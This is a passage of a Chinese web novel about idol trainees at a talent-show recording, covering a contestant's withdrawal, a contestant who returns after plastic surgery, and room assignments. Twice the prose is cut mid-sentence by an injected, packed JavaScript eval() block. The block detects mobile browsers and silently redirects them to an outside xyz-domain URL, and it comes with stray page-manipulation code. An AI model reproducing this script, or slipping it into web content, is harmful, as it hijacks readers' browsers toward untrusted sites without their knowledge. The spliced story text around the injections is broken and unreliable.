紧急送医后不久，考虑到身体状况需要休养，停止训练专注恢复才不会落下后遗症，蒂齐亚诺被迫退赛了。 突发事件让粉丝心碎，也让蒂齐亚诺二公的队友们措手不及。 第二天就要上台，陆诤当时本就有争议在身，正处于舆论风暴中心，粉丝天天反黑效果甚微。本想靠舞台扳回风评，人气队友蒂齐亚诺却因意外缺席演出，整个队内的心态都受到巨大打击，几乎要丧失斗志。 陆诤不肯放弃，鼓励说动大家来得及，跟勉强振作的队友们一夜没睡，调整走位填满蒂齐亚诺的走位空缺，尽量让舞台看上去没有过于明显的缺失，又连夜背词记动作顶上蒂齐亚诺的killing part位置。 时间紧任务重，临时顶上做不好的话负面效果远大于正面，队友们都不肯接过蒂齐亚诺的部分。陆诤是没得选择，不得不硬着头皮担下责任。 当时的形势一片混乱，尽全力补救，效果依然大打折扣。 陆诤顶着压力唱了两个人的part，但蒂齐亚诺的part缺乏练习，到底差强人意。 公演现场有不少蒂齐亚诺的粉丝，看到本身有负面舆情的陆诤顶上了自担的空缺，那段时间有很多阴谋论“陆诤为了抢killing part制造事故”的负面言论。 与其说是真这么认为，不如说是被有心人引导，心有怨气的部分粉丝顺势找个途径发泄内心的不满。 有人刻意带节奏，遭受两次打击的陆诤路人缘受到不小的影响，后期差点续不上那口气一颓再颓。 好在粉丝始终不离不弃，被虐粉后更加咬牙打鸡血，才没有让陆诤就此一蹶不振。 秦昭看向舞台中心正磕磕绊绊努力说中文的蒂齐亚诺。 上一世的二公事件，陆诤跟蒂齐亚诺都没什么错。 只能说是，两个人运气太差，一个明明排名始终身在高位却倒霉受了伤无缘出道，一个在练习室付出的努力付诸东流，最终呈现效果不尽人意。 如果能顺顺利利完成舞台，大家都会有个好结果。 “我可以，申请，多一个展示吗？” 蒂齐亚诺是中意德混血，奶奶是国人。他出生在意大利，在那里长大，直到三个月前才为了参加《星光熠熠》飞来国内，缺乏语言环境，中文说得不流畅。 他初中起就有在学校选修中文课，但学校教的比较基础，蒂齐亚诺现在能简单交流的中文水平，更多的是在这三个月内猛学突飞猛进的。 练习生们都不介意蒂齐亚诺中文发音有些艰涩，很是包容，客观评价他三个月能说到这个程度，诚意很足。 “虽然亚诺的发音有点怪，但是他全程都在说中文诶！！好努力。” “这个态度就很好，有空的话我完全可以教一教他哈哈！” “拉倒吧，就你这一口塑料普通话，自己都说不标准，就不要嚯嚯亚诺了，万一被你带跑偏了他以后也一口塑普怎么办？” “我哪有口音？？？？我普通话二甲！！” 练习生们讨论口音的时候，米雅导师get到了蒂齐亚诺的诉求，确认了下：“你是想要加试吗？” 蒂齐亚诺停顿几秒听了听耳返里的翻译，大力点头。 “嗯，是的。” 秦昭多少有一点意外。 他对蒂齐亚诺的了解不多，陆诤只提过他跟蒂齐亚诺一起练习时相处得不错，对方不难相处。 这么看，蒂齐亚诺很积极地主动争取镜头，做出退赛的决定也大概率并不轻松。 秦昭记不太清楚细节，看到蒂齐亚诺在获得导师同意后接过工作人员递上来的小提琴，隐约有了那么点印象。 初舞台相关的正片一共就只有有限的两三期时长，不可能放下完整的一百个舞台，剪辑过后的版本详略分配极不均，蒂齐亚诺算是吃了海外练习生的卖点噱头福利，留下了几秒加试内容在节目里。 秦昭听完蒂齐亚诺现场拉小提琴，记忆清晰了些，再次清楚感觉到剪辑的力量。 正片剪得稀碎，小提琴加试没给秦昭留下任何特别的印象。 坐在看台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169495|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上听感官截然不同。 琴声悠扬，情绪饱满，大屏上低垂的侧脸雕塑般立体，娓娓道来般的艺术感扑面而来。 对导师们来说，这无疑是一项成功的加试，的确会提高他们对蒂齐亚诺的印象分。 初舞台以及加试的表现都可圈可点，且蒂齐亚诺全程都在认真用中文交流，实力跟态度都没什么问题，导师们在简短的讨论过后，给出的评级是A。 这也是目前出场的海外参赛者中，唯一一个获得A等级的练习生。 蒂齐亚诺眼神都亮了起来，先是鞠躬说了“谢谢老师”之后，在下台前没忍住泄露出了一点不那么板正的本体，对着导师们和例行鼓掌恭喜的练习生们送出几个飞吻。 一头浓密黑卷发的混血练习生朝着各个方向不要钱一样的抛出飞吻，笑容灿烂：“TiAmo……tiamo！” 陆诤战术性微微后仰，抬手挡住自己的嘴巴好奇问秦昭：“好耳熟，他说的是什么意思来着？谢谢你？” 秦昭摇头纠正：“他说的是‘我爱你’。” 陆诤恍然大悟：“噢——” 他摸摸自己的鼻尖，干咳一声：“不愧是喜欢浪漫的意大利人，又是飞吻又是我爱你的。” 有多个e人练习生们站起身，很配合地回给了蒂齐亚诺好几个飞吻。 全场热热闹闹送走了蒂齐亚诺，录制这么久了，秦昭想着去趟卫生间，主要是想站起来活动下手脚，又不想在镜头前拉伸。 正要站起身，就被陆诤给按住了。 “去哪！如果不急的话等会儿再去吧。”陆诤跟秦昭指指上面的方向，“看，万廷宇的位置空了。” 秦昭回头。 象征着第一的王座，如今位置上的确空空如也。 陆诤对敢坐第一的人非常好奇，难掩兴奋：“他刚刚去后台准备了！” 他又兴致勃勃地拽了拽秦昭的胳膊：“一起看看嘛，万一很精彩，错过了多遗憾。” 秦昭顿了顿，又坐下了。 他没注意的是，坐在他背后靠上位置始终在观察他的顾傅恒，也随之重新坐下了。 顾傅恒托着下巴，百无聊赖地叹了口气。 想找个机会多跟恩人说两句话，怎么就这么难。 11.第 11 章 万廷宇上台前，导师们例行先翻看下一个要上场的练习生资料。 米雅导师边看边默念：……万廷宇。这名字怎么，有点熟悉？ 好像在哪儿听过。 简历里有标注练习生过去是否参加过其他节目。 璀璨……星途？哈。米雅导师没想到，这届竟然还能看到，参加过殉掉的最后一届选秀的选手。 倒霉之神啊。 《璀璨星途》就是导致选秀殉了好几年的罪魁祸首。练习生们是无辜的，无良节目组全责。 孩子们奔着出道来辛辛苦苦训练了接近三个月，离成团夜就差一步了，啪叽一下整个节目都无了。 节目被砍，有两个最主要的原因。 一个是粉丝们为了打投买冠名赞助商的饮料换更多的票数，囤成山没人运回的饮料被直接成箱成箱的扔掉，造成大量浪费。 再就是，粉丝们氪金投票氪得天昏地暗，为了送自担出道拼了老命了，结果被爆出节目组暗箱操作作假票，出道位早就内定了。没在名单内的练习生，无论粉丝再怎么投，都会因为各种各样的原因被下绊子，实在搞不臭降不了热度，就直接做票。 当年这事儿闹得实在太大，内部纷争导致泄露出来的消息全是实锤，证据一清二楚，全是有效信息。 发现被做票的粉丝们勃然大怒打过去要说法，结果官博那边被冲后依然头铁，不承认也不道歉，就一直装死假装什么都没发生。 讨要说法求证的粉丝被无视后，流出多方小道消息，说成团夜依然会按照泄露出来的名单出道。反正其中绝大多数都是的确有人气的选手，粉丝也很能打，不愁出道后赚不到钱。 深感无力的粉丝们受不了这种来自节目组的背刺，不能接受自担被人偷走出道位，于是直接掀桌，带着泄露出来的证据举报整个节目造假，同时还捅出了扔饮料的事件。 我担出不了道，大家都别活。 失控的粉丝疯狂举报，事情闹得太大，导致《璀璨星途》直接被约谈，禁播了。 成团夜票都已经全卖完了，被迫全部退款。最后两期都没能录制，就这么急转直下轰轰烈烈地被腰斩，黄得彻底。 这件事导致上头软封了选秀好几年，不允许举办任何选秀，直到今年才因为经济下行放松了口子，重新开办。 为了防止重蹈覆辙，《星光熠熠》不允许用购买冠名商品商品的形式换取任何附加票，也采用了严格且具有公信力的第三方公证，唱票流程全透明，丝毫没有直接票数作假的可能。 自由心证的恶剪这种事没办法保证，完全不给镜头也没法拿节目组怎么样。但除此之外，《星光熠熠》真的是各方面最公平的一届选秀。 有能力，有人气，是真的能出道。 米雅导师感觉，万廷宇应该就是奔着这一点，才放下过去的ptsd来参赛。 不过……米雅导师疑惑地拿起这份简历，对着左上方贴着的证件照凑近了些，仔细看了看。 奇怪。 这个名字她确实是耳熟的，印象里是有这么个人参加过《璀璨星途》，最终没能出道。 但是。这人，原来是长这样的吗？ 就在米雅怀疑自己记忆错乱的时候，万廷宇上台了。 大屏上画面配合地迅速切换成万廷宇的近景特写。 擅于reaction的练习生们顿时纷纷抬头，对着大屏发出一声声惊叹。 “烙铁，这就是漫画脸吗？我本来是计划长成这样的。” “这个鼻子是真实的吗，怎么能长得这么恰到好处啊？？侧脸太牛逼了。” “没开玩笑，好像我正在玩的那款游戏里的角色，不像长出来的五官，像捏的建模。” 有人迟疑地默默抬手在自己脸上比划了两下，犹豫两秒还是发问。 “不是，我想知道，咱们这个节目里的这个万廷宇，跟璀璨星途的那个万廷宇，是不是一个人啊？” 这话一出，感叹外形太杀的练习生们顿时被勾起了一点回忆。 “啊？说什么呢哈哈，肯定是重名啊。这个万廷宇跟那个万廷宇，完全长得没有任何相似之处啊！” “不是，等会儿……如果把脸遮住的话……”第一个察觉的练习生抬起手，隔空挡住了万廷宇的脸，怔怔张大嘴巴，“只看身材的话……晕，真的好像啊！！” 这个意外的发现让场内骚动起来。 摘掉渔夫帽的万廷宇在舞台中心位置站定。 他从入场选座位，到上台的前一刻，都一直戴着渔夫帽，半张脸都隐匿在帽檐打下来的阴影里，只露出精致的下半张脸。 练习生们虽然不理解为什么有人出场要半遮住脸，毕竟在选秀里外形是最无往不利的通行证，镜头分给每个人的都有限，尽可能让观众们记住你的样子都不够用，怎么会有人想挡住呢？ 很多人猜测渔夫帽男是在营造神秘感，某种程度上也算是记忆点了，勉强将这种行为逻辑合理化。 而现在，真正的理由隐约浮出水面，练习生们都没忍住往前探身，想仔细看看万廷宇现在到底长什么样子。 终于将整张脸露出来万廷宇，整个人有种锋利的英气。 很薄的单眼皮，高挺的鼻梁线条流畅，上唇薄下唇厚，下颚线清晰而凌厉，每一处都不失镜头感，像是为上镜量身打造，挑不出毛病。 万廷宇身材练得极好，肩膀宽厚结实，干脆地鞠躬打招呼时，练习生们看着大屏幕上转播的高清画面，透过落下的领口能看到一闪而过的紧实腹肌。 “导师们好。” “我是曾经参加过《璀璨星途》的万廷宇。” 本人直接认证了练习生们的猜测，全场听得到很多声惊讶的抽气声。 陆诤也是众多发出抽气声的其中一个。 秦昭偏头，看到陆诤满脸藏不住的震撼，回忆了下，倒是也能理解。 全场的练习生们一整个大震惊，激动地讨论声停不下来。 “我天……原来真的能换头啊！！！” “怪不得他刚刚入场时，我听着声音耳熟，看起来却完全不认识，我嘞个哥们儿整得是不是有点太成功了！！” “哇……真的超级自然，看不出什么明显痕迹，不知道哪家医院……我一会儿要私下找万哥问问，以后去这家做微调或医美感觉也会比别的地方靠谱，审美和技术太强了。” “不是咳咳还录着呢，你怎么什么都说。” “没事，爱豆为了粉丝服美役不丢人！咱这是敬业！！” “…………咳咳少说咳咳两句咳吧咳咳咳咳咳！” 秦昭原本没有看过《璀璨星途》，但他因为陆诤看了《星光熠熠》，弹幕太多人在震惊万廷宇换头大成功，还在评论区贴出了万廷宇本来的样子。 确实几乎没有保留任何原生的影子。 陆诤显然是看过《璀璨星途》的，所以他这一刻的冲击感，比不熟悉万廷宇的秦昭要强烈太多。 当时看节目的时候，陆诤真的很为万廷宇感到难过和可惜。 难过和可惜的点在于，万廷宇的实力真的很好，作为一个爱豆，他的业务能力完全是在线的。 但是同样的，作为一个爱豆，万廷宇的外形实在是太遗憾了。 其实很多时候粉丝也不会非常看脸，也有不少火了的爱豆长得不算特别出众，粉丝依然会说自担“丑帅丑帅”的，“实力真的很强跳舞很有魅力”，“习惯了之后就觉得眉清目秀了”，喜欢上之后就会自动戴上滤镜。 但是万廷宇，属于是再厚的滤镜都有点救不了的程度。 用名著里的人物来举例的话，万廷宇就像是面相凶恶其实心善的卡西莫多。 忽略脸的话，万廷宇真的很值得人喜欢，他有太多的优点了，也有属于自己的魅力，但他生下来就不够好看，甚至算得上丑。 所以太多人看到他的第一反应，是皱眉。 别人的初印象可能只是0分，万廷宇百分之九十九会得到一个天然的负分。 当时的弹幕有很多玩梗的，全都是在搞幽默，但是哈哈笑过之后会感到功德在降，因为搞笑的背后是心酸。 有几个专属于万廷宇的词条当时特别火—— #万廷宇去躺手术台吧，就当是为了我# #万廷宇，一款去头可食的实力咖# #万廷宇还是方廷宇# #万廷宇捂着脸向前跑吧# 谁能想到，万廷宇真的为了粉丝去躺手术台了。 陆诤完全可以理解，万廷宇会选择去整容这件事。 已经不是调整心态笑笑算了的程度了。 值得高兴的是，换头换得非常成功。 万廷宇身高很ok，因为自律身材也非常好，就差一张脸。 选秀埋了几年，反而给了他时间，去为卷土重来做好彻底的准备。 导师们互相看看，都犹豫着要不要提动脸这件事。 其实不说，观众们也会在发现前后巨大反差后聚焦到这上面，很难避开。 许年纶导师抱着善意开口：“我第一眼看到你，就觉得哇，很帅。真的。” 他的确是这么想的，不是客套也不是安慰。 现场练习生们最初最真实的反应骗不了人，那时候他们还以为是重名，是真心觉得万廷宇上镜超级帅。 万廷宇心态比想象中的要平和太多，他酷酷点头：“谢谢导师。” 有练习生忍不住小声感慨：“好酷。” 人就是这样看脸的生物。 其实万廷宇的性格没有什么太大的变化。他一直都是内核比较稳的，甚至称得上酷。在想要站上舞台之前，他甚至也没有因为丑被排斥而觉得自卑，只觉得人与人之间的喜恶不必强求。 直到发现外形阻碍了他想站上舞台的梦想，才感到强烈的困扰，从而想办法改变。 以前从没有人夸万廷宇是酷哥，变好看了之后，经常有人这么说。 导师们善意的没有多聊他的外貌变化，而是将转移话题将重点放在别的地方。 方星琰导师对他选择坐在第一的位置很感兴趣：“选秀看多了就知道，第一这个位子不是那么好坐的。” 换句话来说，第一的位置，不是很“吉利”。 太多例子了，坐了这个位置，不等于最终会拿第一，反而是没能出道的比例更高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171103|180559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 方星琰多少带了点调侃发问：“你很有勇气，连续三届，入场选择坐在这个位置的选手都没能出道。” 娱乐圈都迷信，导师其实也不例外，总觉得失败跟位子沾点关系。 万廷宇有不同想法：“没出道是个人问题，不能怪座位。” 这个回答很有力量。 在绝对的实力面前，外因变得渺小，更多的只是借口。 再次听到这句话，秦昭依然喜欢这个回答。 察觉到陆诤听完万廷宇说的话，在欲言又止地偷偷看自己。 秦昭回头。 陆诤所有的想法都一目了然写在脸上，似乎很是纠结，于是秦昭静静看了他两秒，收回视线冷不丁说了两句。 “六十六号很好，顺顺利利。” “是个好寓意。” 下一秒，秦昭余光看到陆诤傻兮兮地自顾自咧嘴笑。 傻子。秦昭淡淡想，太好懂了。 方星琰导师显然还是觉得第一的位子风水不好：“对自己这么有信心？要是真的没出道呢？” 万廷宇不改初衷：“那就再回去练练。” 方星琰导师跟万廷宇杠上了：“宁可信其有，避开第一的位置或许真的在玄学上对你有好处。如果能重选的话，你要不要考虑第二？第二也是高位，且历代有不少选第二位最后C位出道的。” 万廷宇毫不动摇：“老师，再来一次，我还是想选第一。” 方星琰感觉这个万廷宇是不可能被人影响改变想法的那种人，就这么几句，就能看出那股子倔劲：“…………” 行。你选吧，服了这头倔驴。 “请开始你的表演。” 万廷宇实力的确强。 据他本人所说，刚大动脸的那段时间不能剧烈活动，所以他有一年多的时间是躺着没怎么动的。 好在选秀埋了几年，万廷宇恢复后又练了两年筹备下一次机会，实力一点都没退步，反而还精进了。 秦昭不完全是因为陆诤重新坐下来的。 他在听陆诤提到“万廷宇”这个名字后，就想要在现场再看一遍对方的舞台。 这是一个，哪怕隔着屏幕，也能感受到倾其所有的迫切感的舞台。 那种强烈的渴望和珍惜，大概只有跟万廷宇一样有过无路可走的经历，才能懂。 导师们为这份付出很多血泪才给出的答卷，给出了应有的成绩。 “万廷宇练习生。” “恭喜你。你的等级是……A。” 万廷宇在后台领取“A”等级的粘贴后，重新朝着他坚持要选择的座位走去。 其实他不是想要跟导师对着倔，只是在万廷宇心里，哪怕他始终认为自己在个人能力上并不自卑，他也从没有想过，自己未来会有机会坐上第一的王座。 所以哪怕一次，他想坐坐看看。 万廷宇不认为这是自我贬低，他更多的是有自知之明。 这世界上实力好，长得好，性格好的人太多了。美丽的珊瑚总是成片生长，更何况他是用石头雕刻粉刷加工后的珊瑚，色泽不够纯粹。 他踏上阶梯走向自己的位置，路过秦昭时无意般地看了一眼。 色泽最艳丽，轮廓最美的珊瑚，明明应该没受过多少海浪的冲击，也不该有疤痕。 可是为什么，万廷宇总觉得在秦昭的舞台中，感受到了同样强烈的渴望与珍惜。 秦昭没有注意到万廷宇的视线，他看到下方角落的安夏纱跟在工作人员身后站起身，因为近视看不清被台阶绊了一下，差点没冷不丁给工作人员行个大礼跪下。 这次不用陆诤摁住，秦昭也暂时不打算离开座位了。 安夏纱金灿灿的发色在演播厅内其实并不算显眼，毕竟这里是选秀，作为爱豆预备役的练习生们如同孔雀开屏，铆足了劲想让观众们第一时间看到他们，记住他们，现场什么五颜六色的发色都有。 但安夏纱明明坐在角落里，他站起来的那一刻，眼观六路的练习生们还是第一时间就发觉了。 不管怎么说，那是大名鼎鼎的YKC。 这意味着，他的直属前辈们，分别是创下内娱实体专辑销量奇迹的现顶流团silverblue，国内唯一登顶billboard的内娱第一女团millsverse，还有往前数开创爱豆市场的几代大前辈。 YKC旗下的练习生从不参与选秀，现场来自中小型公司的练习生们，也不是没有面试过YKC的经历。 只是面试那一关无一例外都被刷了下来，失败的经历没人会愿意主动拿出来说。 在练习生们看来，YKC的标准简直高到无法企及，选人的方式难以琢磨，要么追着你跑怎么都不肯放弃，要么你面试一百次，看不上你就是不要你。 安夏纱是YKC的练习生，仅这一点，就足以获得他们的时刻关注。 练习生们不知道，现场其实还有一个能入YKC法眼的存在。 甚至是，YKC再三邀请，却得不到的人。 秦昭在参加比赛前，拒绝了YKC的入社邀请。 而这个选择，跟上辈子的安夏纱，不无关系。 12.第 12 章 大屏特写实时跟随，从安夏纱出现在通道口就开始了。 初次亮相，练习生们的造型百花齐放，安夏纱走的是罕见又大胆的Y2K风。 千禧时代的复古感扑面而来，安夏纱金红相间的发色在色彩更为夸张的混搭美学中毫不突兀，反倒很抓眼球。 不拘一格镶满亮片的短款机车服，肥肥大大的宽松长裤上订着机械风金属铆钉，踩着的半长靴涂满复古印花，头发间挂了极尽繁复的亮钻坠子，在发丝晃动间bulingbuling闪烁。 服装上短下长，安夏纱个子本来就高，跟显得腿长逆天。 秦昭对这样整个人像糖果纸一样花花绿绿的安夏纱完全不熟悉。 ……果然吗？秦昭若有所思地偏了偏头，换个妆造像是换个人。 练习生们对YKC的敬意，在安夏纱试探性地伸出腿划拉两下、确认台阶位置的动作中，逐渐祛魅。 莫汕：“…………” 他条件反射看向原翊杉，眼神中透露着吐槽的渴望。 原翊杉警惕地微微摇头，意思是忍着，不许。 这位怎么看都会是妥妥的高位练习生，粉丝战斗力必然极强，要将一切被网暴的可能性，扼杀在摇篮中。 莫汕悻悻作罢，在内心报复性地默念了三遍。 ……他真的好像那张探出一条腿的火烈鸟表情包啊！！x3。 安夏纱不希望像几分钟前那样，差点摔个狗啃泥。 他四肢仿佛不听控制般摸索着前进，在确认接下来没有台阶后，终于找回了平时的松弛感，放松下来大步流星走到台前。 “导师们好，我是来自YKC的练习生安夏纱。” Y2K风想穿得有个性，最重要的就是松弛感。 安夏纱看不出丝毫紧张，他两手背在身后，朝着导师们鞠了一躬后，指着眼睛简短解释：“不好意思，麦粒肿犯了戴不了隐形眼镜。如果对话时我看错方向，请老师们谅解。” 他这么一指，所有人都盯着他的眼睛仔细瞧了瞧。 原来眼妆画得重是为了遮红肿。头发打碎半遮，倒是刚好符合整体的复古风格。 lenziD导师不近视，想象不到：“到了会找不到人的程度了？” 安夏纱习惯性皱了皱眉，半眯起眼。 他目光在几位导师间不确定地寻梭了半天，最终对着许年纶导师点头回答：“差不多吧。” lenziD看了看茫然眨眼的许年纶：“……好的，我信了。” 柯霁屿导师看向米雅导师，两人都在对方眼中看到了自己绷不住的表情。 不行了。《星光熠熠》果然本质是综艺，这是个喜剧节目吧。 方星琰导师几乎从不笑场，他翻看资料，问的都是跟业务相关的问题：“训练时长三年？我知道YKC每个月都有固定的月末考核。方便问下你来之前最后一次考核的成绩吗？” 这也是练习生们非常想知道的问题，顿时一个个都竖起耳朵。 安夏纱笑了：“当然是A。” 好一个当然。 方星琰导师嘴角翘了翘，不再多说，示意安夏纱直接用舞台说话。 轻快又熟悉的节奏响起的那一刻，导师们仿佛回到了自己的童年时代，笑容不自觉爬上脸颊。 怪不得安夏纱的装扮是千禧时代的风格。 这跟他选择的初舞台歌曲基调完全适配。 二十年前，这首歌火遍大街小巷。旋律轻松，节奏是充满街头感的hiphop框架，副歌让人心情好到飞起的melody与old school标准的东海岸嘻哈风rap融合，朗朗上口，记忆犹新。 秦昭的脚尖跟着点了点节拍。 音乐总是跟回忆挂钩。 这首歌火的时候，秦昭还没有出生，却贯//穿了秦昭妈妈最青春的学生时代。 她开车送秦昭上学时，常常会连上蓝牙播放喜欢的歌听，还会跟着disco特有的节拍摇晃肩膀，跟唱时总是挂着愉快的笑，就像是被旋律带回了无忧无虑的年纪。 R&B抒情的部分同样配合着鼓点与切分，越简洁明快的旋律越有记忆点，听过就很难忘记。 更何况秦昭跟着妈妈听了不止一遍这首歌，他对编曲的每个细节都熟悉，修长漂亮的指尖不自觉跟着晃啊晃。 安夏纱最擅长的就是大框架的hiphop，飞起的头发丝都像是在随着funk的吉他弦跳跃，副歌适时露出充满感染力的灿烂笑容，机车服的下摆扬起，像是舞动的青春。 个人定位是主舞的安夏纱感染力极强。 Mobius9上一世的C位，自然是有真材实料在的。 毫无悬念，导师们给出了A等级。 头发剪得太碎，安夏纱被扎得眼睛疼，用手向后梳了两下，露出光洁平整的额头。 “谢谢导师。” 跳舞时的热情洋溢随着音乐停止潮水般褪去，安夏纱的高兴也仅限于短促地笑了下，上扬的嘴角很快抚平，恢复了寻常的弧度。 对于安夏纱不容易被察觉的冷淡，徐闻是唯一深有体会的那一个。 他虽说有点“帅哥恐惧症”外加“潮人恐惧症”，但录制时间怎么看都要超过二十个小时，这么长的时间里，他出于客套外加确实是闷得慌，有尝试过鼓起勇气跟安夏纱发起对话。 但无一例外，几次尝试都失败了。 安夏纱落座后主动跟他打了招呼，所以徐闻本以为安夏纱是那种好说话的类型。 直到第n次吃了看似热情实则句点式回应的闭门羹，徐闻终于感觉到来自安夏纱无声的拒绝。 发现自己先入为主误会了之后，徐闻再悄悄观察安夏纱时，甚至似乎捕捉到了一丝若有似无的厌烦。 徐闻不清楚是不是自己过度解读了，但他确实能从短的不能再短的对话中，清晰感受到安夏纱没兴趣跟他聊天。 徐闻：“……” 他多少有那么一丁点受挫感，但莫名的，安夏纱表面礼貌实则不爱搭理他这点，倒是让徐闻终于有了点真实感。 啊。现实就是这样。 此等外形实力各方面都优越的帅哥，是不会想要跟他这样的普通练习生做朋友的。 他们只是参加了同一档节目，安夏纱坐在他旁边，并不意味着他们就能处得来。要不是有镜头在，徐闻总打扰他打瞌睡，安夏纱说不定都不会这么好脾气的应声。 看清这一点后，徐闻就只跟右手边的人聊天了。 果然，安夏纱一次也没有主动跟他说过话。 拿了A的安夏纱回到座位，照例朝着徐闻的方向礼貌笑了笑，没有无视他，但也只是在套社交公式。 徐闻：“恭喜恭喜。” 安夏纱：“谢谢。” 对话结束。 徐闻：“。” 真的好想知道，安夏纱对跟他一个level的练习生会是什么样的相处模式。 肯定不是像现在这样，空气中流淌着尬的味道。 * 录制时间实在太漫长。 起初练习生们精力充足，reaction都很投入，到后来，大家都精疲力竭，困得要死，眼皮子打架。 就连秦昭都用空心拳锤了锤自己的胳膊肩膀，很想有一张床让他躺一躺。 他中途至少还去了几次卫生间，拉伸拉伸僵硬酸痛的肌肉。 导师们是真的几乎完全钉死在座位上，少一位导师录制都要暂时中断，为了赶拍摄进度尽早下班，导师们几乎连水都不怎么喝。 任何工作都不好做。 演播厅灯光太多，打光好看但是特别热。 空调开了也不耽搁时间长了很多练习生汗如雨下，陆诤就是需要频频擦汗的那个。 汗流多了，就得补妆，绝大多数练习生现阶段都不可能拥有专属化妆师，都是见缝插针自己给自己补。 至于技术如何，就见仁见智了。 秦昭是不易出汗体质。 相比起陆诤的苦不堪言，秦昭整个人清清爽爽，一滴汗都看不到，跟陆诤形成鲜明对比。 不但没有汗，秦昭甚至连皮肤都凉凉的。 陆诤热的手心滚烫，他后悔没带个小电风扇来，只好用手拼命给自己扇风降温。 秦昭用眼神表示陆诤太夸张：“……” 有那么热吗？ 陆诤的回应是，摊开滚烫的手心往秦昭跟前凑了凑，下巴点点，示意他感受一下。 秦昭冰凉凉的指尖在陆诤手上戳了两下，惊讶的眼睛都圆了一点。 陆诤生无可恋：“是真的很像在被炭烤啊！！” 秦昭无法感同身受，只能同情地眨了眨眼：“……忍忍。心静自然凉？” 陆诤悲伤远望：“…………我跟你这种天生不爱出汗的人拼了。” 不怕热的秦昭只觉得肚子很饿。 录制期间是没有时间单独给练习生们吃饭的，所有人全程饿着，从早到晚。 秦昭没有手机，不清楚确切的时间是几点，但他饿得前胸贴后背，整个人都没什么精神了。 还好他出场算得上是比较早的。 排在最 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不过秦昭不担心，后面还有主题曲测评。 初舞台得到的等级，不影响主题曲评级结果。 果不其然，陆诤高兴又遗憾地带着B等级回来了。 他低头摸了摸自己衣服上贴着的B标签，又看看秦昭身前贴着的明晃晃的A，再次攥起拳头嘟囔着。 “你等着。我会升上去的。” 秦昭不反驳：“嗯。我在A班等你。” 闻言，陆诤眼尾下垂的狗狗眼心情很好地左看看右看看，欲盖弥彰地干咳了一声。 录制持续到半夜三更。 能在后半夜拿到A的练习生寥寥无几，要么是个顶个的硬实力，要么能让导师看到未来的潜力。导师们就靠着这几个令人眼前一亮的舞台续命，中间太多舞台实在乏味的让人想换台，偏偏逃都逃不了，只能硬着头皮看完，简直是精神折磨。 凌晨两点多，在无数个F前赴后继被抬走过后，最后一组上台的两人组，拿下了珍贵的双A。 徐知晗和柏斯汭为《星光熠熠》的首次录制，画上了一个圆满的句号。 导师们站起身对练习生们笑着说“大家辛苦了”，练习生们没忍住露出终于下班的解脱笑容，克制着欢呼呼啦啦站起身，立刻痛痛快快地伸懒腰活动胳膊腿，打着呵欠往台下走。 连轴转的一天尚未彻底结束，大家要去后台拿上自己的行李，坐上等候已久的大巴车，连夜赶往宿舍。 秦昭只拿了一个20号的中小型行李箱，没背包，一身轻松。 跟他一起行动的陆诤则吭哧吭哧，俨然是把半个家都搬来了。 秦昭看陆诤艰辛地拖着疲惫的身躯艰难前行，感觉这简直就是在上演愚公移山。 到底拿了些什么东西啊？ “我帮你拿一点吧？”秦昭看不下去，对着陆诤伸出手。 陆诤连连摇头，坚决不给：“不不，太沉了，我自己的东西自己背！” 秦昭正在无语凝噎，就听到冷不丁从身后冒出一个赞同的声音。 “没错，他的行李他可以自己拿。” 秦昭跟陆诤同时扭头看向说话的人。 顾傅恒拎着一个超大号的行李箱鬼出没一样闪现，不知道是从什么时候起站在他们背后的。 他露齿一笑，一排整齐漂亮的牙在路灯下泛着烤瓷牙特有的光。 “秦昭老师，你觉得A等级和B等级的宿舍会是分开的吗？” 秦昭：“……” 顾傅恒这个人，是不是从来都不知道什么叫做迂回。 练习生们浩浩荡荡上了大巴车。 宿舍比秦昭想象的远，也比秦昭想象的规模更大。 播出的节目中只拍了一个整体的远景，再就是内部的房间了。 实际去看的话，建造成城堡外形的宿舍很是恢弘，夜里灯火通明，还有喷泉和颇具设计感的花园。 看得出节目组不缺经费。 一百个练习生拉着行李箱聚集在宿舍大厅内，等待工作人员通知怎么分房间。 “房间按照等级划分。”工作人员：“A等级的练习生，是两人一间——” 听到这句话，数量不多的几个A等级练习生，各自下意识看向自己想看的人。 B等级的顾傅恒和陆诤，则一个失望地撇了撇嘴，一个遗憾地摇了摇头。 秦昭知道A等级是两人间。 未知的是，谁会是他的室友。 13.第 13 章 工作人员丝毫不拖沓，直接揭晓房间的分配规则。 大家都想早点下班回去睡觉，工作人员语速飞快。 “A等级入住双人间，B等级三人间，C等级四人间，D等级六人间，F等级八人间。” 听到这个房间配置，D和F等级的练习生们控制不住想给自己掐人中，有点半死不活了。 “老天，八人间。要不要这么狠啊……” “四人间已经是我的极限了，高中住校的时候四人间已经给我造成了很大的心理创伤，八人间我在此起彼伏的呼噜声中真的能活着吗？？” “双人间简直就是天堂……还没有看到具体的房间，但我可以想象，A等级如果是五星级酒店，F等级的估计连青旅都比不上，救救我……” 人和人之间的悲喜并不相通，工作人员继续直入重点：“我们将按照……各位上大巴车的顺序，来分配房间。” “即，第一个上车的练习生，跟下一个上车的同等级练习生，自动成为室友，直到房间满员，再从下一个练习生开始循环。” “同等级的不同房间主题装潢有所不同，所以先选和后选，也有差别。” “谁先上的大巴车完全随机，一切交给天意。” 